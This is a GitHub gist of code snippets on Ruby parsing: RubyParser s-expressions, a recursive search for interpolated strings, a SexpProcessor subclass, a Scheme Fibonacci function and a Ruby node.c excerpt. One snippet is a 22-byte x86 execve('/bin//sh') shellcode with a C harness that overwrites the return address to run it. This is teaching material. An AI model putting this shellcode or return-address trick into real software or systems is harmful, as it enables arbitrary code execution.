Skip to content

Instantly share code, notes, and snippets.

@daveworth
Created September 7, 2012 13:37
Show Gist options
  • Save daveworth/3666312 to your computer and use it in GitHub Desktop.
Save daveworth/3666312 to your computer and use it in GitHub Desktop.
Fibonacci in ...
sexp = RubyParser.new.process(ruby)
find_dstrs(sexp)
# produces
[s(:dstr, "foo bar ", s(:evstr, s(:lvar, :baz)), s(:str, " qux"))]
s(:evstr, s(:lvar, :baz))
(define fib
(lambda (n)
(if (< n 2)
n
(+ (fib (- n 1)) (fib (- n 2))))))
# Find all dstrs "string literal with interpolation"
def find_dstrs(sexp)
dstrs = []
sexp.each do |sub_sexp|
if Sexp === sub_sexp
case sub_sexp.sexp_type
when :block,:scope # Lispers - this is the classical recursive step
dstrs.concat find_dstrs(sub_sexp.sexp_body)
when :dstr
dstrs << sub_sexp
end
end
end
dstrs
end
// from https://github.com/ruby/ruby/blob/trunk/node.c#L100-886
switch (nd_type(node)) {
// ... snip ...
case NODE_DSTR:
ANN("string literal with interpolation");
ANN("format: [nd_lit]");
ANN("example: \"foo#{ bar }baz\"");
goto dlit;
// ... snip ...
case NODE_LASGN:
ANN("local variable assignment");
ANN("format: [nd_vid](lvar) = [nd_value]");
ANN("example: x = foo");
goto asgn;
// ... snip ...
}
require 'ruby_parser'
ruby = <<-RUBY
def string_foo_bar_baz(baz)
baz ||= 10
"foo bar \#{baz} qux"
end
RUBY
sexp = RubyParser.new.process(ruby)
pp sexp
#define SHELLCODE_LENGTH 22
// Note: cltd is interesting at best! It may produce broken solutions...
char shellcode[] =
"\x99" /* cltd */
"\x52" /* push %edx */
"\x68\x6e\x2f\x73\x68" /* push $0x68732f6e */
"\x68\x2f\x2f\x62\x69" /* push $0x69622f2f */
"\x89\xe3" /* mov %esp,%ebx */
"\x52" /* push %edx */
"\x52" /* push %edx */
"\x53" /* push %ebx */
"\x53" /* push %ebx */
"\xb0\x3b" /* mov $0x3b,%al */
"\xcd\x80" /* int $0x80 */
;
int main(void) {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
return(0);
}
require 'sexp_processor'
class MyProcessor < SexpProcessor
def initialize
super
self.strict = false
end
def process_until_empty(exp)
process exp.shift until exp.empty?
end
def process_dstr(exp)
puts "Found DSTR"
pp exp
exp.shift
process_until_empty exp
s() # an alias(-ish) for Sexp.new in SexpProcessor
end
end
def string_foo_bar_baz(baz)
baz ||= 10
"foo bar #{baz} qux"
end
s(:defn,
:string_foo_bar_baz,
s(:args, :baz),
s(:scope,
s(:block,
s(:op_asgn_or, s(:lvar, :baz), s(:lasgn, :baz, s(:lit, 10))),
s(:dstr, "foo bar ", s(:evstr, s(:lvar, :baz)), :s(:str, " qux")))))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment